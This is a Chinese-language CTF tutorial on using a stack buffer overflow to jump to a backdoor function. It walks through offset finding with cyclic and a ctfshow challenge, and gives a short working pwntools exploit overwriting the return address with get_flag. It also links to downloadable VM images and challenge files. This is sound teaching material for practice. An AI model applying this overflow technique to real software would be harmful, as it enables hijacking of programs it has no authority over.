PWN 的知识之如何利用栈溢出利用后门函数
利用栈溢出漏洞调用原本存在的后门函数(例如 get_flag
或system("/bin/sh")
)是二进制漏洞利用中的一种常见技术,相信各位网安的师傅或多或少都听说过,那么如何利用栈溢出来利用后门函数呢?
1.原理
栈溢出(栈溢出详解)是指当程序向栈中写入数据时,超出了分配的缓冲区大小,覆盖了栈上的其他数据(如返回地址)。通过精心构造输入数据,可以覆盖返回地址,使程序跳转到我们指定的函数(如后门函数)。栈溢出的核心思想是通过覆盖返回地址,控制程序执行流。
2.寻找后门函数
后门函数通常是开发者为了方便调试或测试而留下的函数,例如:
get_flag
:直接输出flag。system("/bin/sh")
:提供一个shell。- 其他自定义函数。
寻找后门函数的方法有很多,可以通过以下方法找到后门函数:
- 静态分析:使用工具(如
IDA Pro
、Ghidra
)反编译二进制文件,查找可疑函数。 - 动态分析:使用
gdb
调试程序,观察函数调用。 - 符号表:使用
objdump
或readelf
查看二进制文件的符号表:
objdump -t 文件名 | grep ****
3.确定溢出点
溢出点是指输入数据覆盖返回地址的位置。通过精确控制输入数据的长度,可以覆盖返回地址,从而控制程序执行流。
原理:原理简单来说就是通过发送特定长度的数据来观察程序的行为比如崩溃,从而来找到返回地址的精确位置。
在函数调用的时候,栈的结构通常如下:
|-------------------|
| 局部变量 | <- 缓冲区(可能溢出)
|-------------------|
| 保存的寄存器 |
|-------------------|
| 返回地址 | <- 覆盖目标
|-------------------|
| 函数参数 |
|-------------------|
局部变量是函数中定义的变量,通常也是溢出发生的地方,返回地址是函数执行完毕后,程序跳转的地址。
需要确定输入数据的长度,使得刚好覆盖返回地址。主要可以通过下面几种方法来确定:
- Fuzzing:发送不同长度的输入,观察程序崩溃时的行为。
- Cyclic:使用
pwntools
的cyclic
工具生成测试字符串:
payload = cyclic(100)
io.sendline(payload)
4.构造payload
payload
的结构通常为:
[填充数据] + [后门函数地址] + [参数(可选)]
- 填充数据:用于填充缓冲区,知道覆盖掉返回地址。
- 后门函数地址:覆盖返回地址,使程序跳转到后门函数。
- 参数:有的后门函数需要参数,需要在
payload
中构造栈帧。
例
这里用ctfshow
上的题目来做事例,下载附件先check
一下
32位,保护仅部分开启RELRO,同时注意到有可读可写可执行的段。
拖进ida32位打开查看main
函数。
跟进ctfshow()
函数:
使用 gets
函数从标准输入读取一行字符串,并将其存储在 s
数组中。然后,返回指向s
的指针。 gets
函数非常不安全,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s
数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s
距ebp
仅有0x28
,而gets
不限制输入长度。
程序中还找到了后门函数——get_flag
函数:
因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向get_flag
函数,进而获取flag。
开始写exp
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote("ip",port)
elf = ELF('./pwn')
flag = elf.sym['get_flag']
payload = cyclic(0x28+4) + p32(flag)
io.sendline(payload)
io.interactive()
题目附件及专用虚拟机
PwnRe专业Ubuntu虚拟机
https://pan.baidu.com/s/1xzt7VRwTcjb7hYZUmXoKgw?pwd=1111 提取码: 1111
题目附件
https://pan.baidu.com/s/1FjyMceBMd7nE-yTKSI8qWw?pwd=1111 提取码: 1111
感兴趣的师傅可以试一下,最后只需要写脚本时改成本地调试即可